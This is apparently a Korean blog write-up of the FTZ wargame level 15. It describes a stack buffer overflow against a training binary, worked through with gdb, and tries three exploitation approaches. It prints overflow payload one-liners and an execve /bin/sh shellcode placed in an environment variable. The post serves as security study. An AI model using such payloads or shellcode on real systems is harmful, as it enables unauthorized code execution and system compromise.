Write-Up/FTZ

FTZ: Level15

NONE_31D 2019. 11. 20. 19:53

*level14 와 차이점 : check가 가진 주소를 받느냐 or check가 가리키고 있는 곳 내부의 값을 받느냐

어셈블 코드
스택 이미지

 


1. buf에 0xdeadbeef를 입력한 후, BOF를 통해 check가 buf의 주소를 가지게 함.

(문제 : 스택 주소는 실행시마다 바뀜. 프로그램이랑 눈치싸움 필요)

 

간단하게, buf에서 check까지는 40바이트 거리니 0xdeadbeef*10+(buf 주소 - 4바이트) 를 해주자. 

그럼 중요한 것은 buf의 주소를 어떻게 찾느냐.

 

if문 안에서 deadbeef가 맞는지 비교하기 직전에 브레이크 포인트를 걸고, 프로그램 실행. 인자값으로는 찾기 편하게 AAAAA를 넣어줄 예정 (메모리에 0x41로 들어감)

딱 버퍼자리에 AAAAA가 잘 들어간 것을 확인할 수 있음. check는 버퍼로부터 40바이트 아래이므로 열 줄 밑으로 내려가면 check에 저장된 메모리가 보일 것이다.

표시한 곳이 check에 저장된 주소값. 해당 주소값에 맞춰 파이썬 스크립트를 짜보면 다음과 같다. 

(python -c 'print "\xef\xbe\xad\xde"*10+"\x9c\xfc\xff\xbf"'; cat) | ./attackme

안됩니다. 왜냐면 맨 앞에 언급했듯 우리는 실행할 때마다 움직이는 스택의 메모리랑 눈치를 봐야 하니까요.

심심하니 이번엔 또 어디로 check가 박혀있는지 gdb로 한번 확인해봅니다.

이번엔 또 한참 갔네요. 이거에 맞춰 다시 코드를 수정해 실행해봅니다. -> 안됨. segmentation fault 터짐 

하다보면 얘네가 16바이트 단위로 옮겨가는거 확인할 수 있고, 이게 반복이 되는 것도 확인했지만 안된대요. 얘가 안된다는데 어쩌겠어요. 대충 이런 방법이 있는걸로


2. 프로그램의 데이터영역 어딘가에 박혀있을 문자열 "0xdeadbeef"의 주소를 알아내어 이를 check에 직통으로 박아버리기 (프로그램이랑 눈치싸움 안해도 됨)

 

이번에는 애꿎은 스스로를 눈치게임에 빠지게 하지 말고 안정적인 방법을 해봅시다. 결국 deadbeef라는 애는 문자열이고, 프로그램은 어딘가에 이 문자열을 저장해놨을겁니다. 이 주소 뜯어서 check에 박으면, 결국 *연산을 통해 문자열 그 자체를 가리키지 않을까요? gdb를 킵니다. 브레이크 포인트도 이전과 똑같은 위치에 겁니다.

왜 프로그램이 deadbeef라는 문자열을 가지고 있냐 하면, if문에서 해당 문자열과 비교를 하거든요. 비교를 위해서라도 어딘가에 박혀 있어야 해요. 그래서 브레이크포인트를 저기에 걸었습니다. 왜냐구요? eip를 써먹을거니까요.

 

eip는 바로 다음에 실행할 명령어를 가리켜요. Instruction Pointer이니까요. 저기 명령어가 뭐죠? 딱 좋게 deadbeef 명령어와 eax에 저장된 메모리가 가리키는 곳의 값을 비교해요. 다음 명령어는 뭐죠? deadbeef입니다. eip를 뜯어봅니다.

 

바로 익숙한 것을 확인할 수 있습니다.

깔끔하게, 주소를 따낼 수 있었습니다. 바로 파이썬 코드 삽입합니다.

(python -c 'print "\x90"*40 + "\xe4\x83\x04\x08"'; cat) | ./attackme

대충 성공합니다. 근데 제가 디버깅이 뭔가 이상한가봅니다. 원 코드와 메모리가 미묘하게 다르게 나와요. 비밀번호는 맨 마지막에 넣는걸로


3. 마지막, 환경변수를 사용해봅시다.

 

2번이랑 비슷한 맥락입니다. 하지만 어떻게 보면 2번보다 더 안정적인 방법이지 않을까 싶어요. 

익스플로잇 방법은 다음과 같습니다.

 

1. export로 0xdeadbeef 출력하는 환경변수를 만듭니다

export SHELLCODE=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

2. 해당 환경변수의 주소를 알아냅니다

왜 뒤에 attackme까지 같이 실행하는걸까요? 심지어 저기 원래 level15라서 뒤에 attackme 파일이 없음. 흡사 에러로 에러를 막은 기분입니다.

 

3. 빵

해야 하는데 제 FTZ가 지금 자기 의사가 너무 강한가봐요 왜 안될까요... 진짜... 왜...?


결과는 이거.... 

'Write-Up > FTZ' 카테고리의 다른 글

FTZ:Level 19  (0) 2019.11.28
FTZ: Level17  (0) 2019.11.20
FTZ: Level11  (0) 2019.11.13
FTZ: Level 10 - writeup 수정중 (해결완료)  (0) 2019.11.12
FTZ: Level 9  (0) 2019.11.12